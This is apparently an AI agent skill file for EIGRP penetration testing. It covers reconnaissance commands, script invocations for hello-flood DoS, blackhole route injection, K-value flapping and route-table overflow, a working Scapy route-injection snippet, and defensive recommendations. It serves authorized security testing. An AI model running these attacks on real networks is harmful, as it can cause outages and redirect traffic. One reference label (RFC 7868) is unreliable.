Eigrp Pentest

EIGRP Pentesting Skill

A comprehensive skill for EIGRP (Enhanced Interior Gateway Routing Protocol) security testing and attack methodology. This skill guides you through reconnaissance, packet crafting, and various EIGRP attack vectors.

⚠️ Authorization Required

Only use these techniques on networks you own or have explicit written authorization to test. Unauthorized EIGRP manipulation can cause network outages and is illegal.

When to Use This Skill

• EIGRP network security assessments
• Routing protocol vulnerability testing
• Network penetration testing involving Cisco infrastructure
• EIGRP traffic analysis and forensics
• Learning EIGRP protocol internals for defensive purposes

Attack Vectors Overview

Methodology

Phase 1: Passive Reconnaissance

Before any active testing, gather intelligence passively:

# Sniff EIGRP traffic (IP protocol 88)
sudo tcpdump -ni <interface> 'ip proto 88 or ip6 proto 88' -w eigrp_capture.pcap

# Nmap discovery (requires network access)
sudo nmap --script broadcast-eigrp-discovery -p 88/udp <target>
sudo nmap --script broadcast-eigrp-discovery --script-args broadcast-eigrp-discovery.as=100 <target>

Extract from captures:

• AS number (autonomous system)
• K-values and Hold Time from PARAMETER TLV
• Authentication type: none, MD5, or HMAC-SHA-256
• Neighbor source addresses
• Active subnets and interfaces

Phase 2: Authentication Assessment

Determine if route injection is feasible:

• No authentication: Blind spoofing possible
• MD5 authentication: Requires key material
• HMAC-SHA-256: Modern named mode, requires key material

Check for authentication in captured HELLO/UPDATE packets using the AUTH TLV.

Phase 3: Active Testing

Choose attack vector based on objectives:

Fake Neighbor Attack (DoS)

Overload router CPUs with EIGRP hello packets:

python3 scripts/eigrp_hello_flood.py --interface eth0 --as 1 --subnet 10.10.100.0/24

Blackhole Attack (Traffic Disruption)

Inject false routes to redirect traffic:

python3 scripts/eigrp_route_inject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32

K-Value Attack (Adjacency Disruption)

Create continuous neighbor flapping:

python3 scripts/eigrp_kvalue_attack.py --interface eth0 --as 1 --src 10.10.100.100

Route Overflow Attack (Resource Exhaustion)

Flood routing table with false routes:

python3 scripts/eigrp_route_overflow.py --interface eth0 --as 1 --src 10.10.100.50

Phase 4: IPv6 Considerations

EIGRP for IPv6 uses:

• Multicast: FF02::A
• Per-interface configuration
• Same TLV structure as IPv4

For IPv6 route injection, use the --ipv6 flag with route injection scripts.

Protocol Details

EIGRP Packet Types

• HELLO: Neighbor discovery, carries K-values
• UPDATE: Route advertisements
• ACK: Acknowledgements
• QUERY/REPLY: Route queries

Key TLVs

• PARAMETER (0x0001): K-values, Hold Time
• SEQUENCE: Sequence/acknowledgement tracking
• AUTH: Authentication data (MD5/SHA-256)
• EIGRPIntRoute: IPv4 route entries
• EIGRPv6IntRoute: IPv6 route entries

Important Addresses

• IPv4 multicast: 224.0.0.10
• IPv6 multicast: FF02::A
• IP Protocol: 88

Scapy Integration

For custom packet crafting, Scapy's EIGRP contrib layer provides:

from scapy.all import *
load_contrib("eigrp")

# Basic route injection
sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
      EIGRP(opcode="Update", asn=100, seq=0, ack=0,
            tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
                                   nexthop="192.168.1.248")]))

Defensive Recommendations

After testing, recommend:

1. Enable authentication: HMAC-SHA-256 preferred
2. Filter EIGRP neighbors: Use neighbor statements with ACLs
3. Monitor for anomalies: Unexpected route changes, CPU spikes
4. Segment networks: Limit EIGRP broadcast domains
5. Use EIGRP named mode: Better security features

References

• RFC 7868: EIGRP for IPv6
• Nmap broadcast-eigrp-discovery script
• Scapy EIGRP contrib: https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
• Routopsy: https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/

Bundled Scripts

See scripts/ directory for:

• eigrp_hello_flood.py - Hello packet flooding
• eigrp_route_inject.py - Route injection
• eigrp_kvalue_attack.py - K-value manipulation
• eigrp_route_overflow.py - Routing table overflow
• eigrp_recon.py - Passive reconnaissance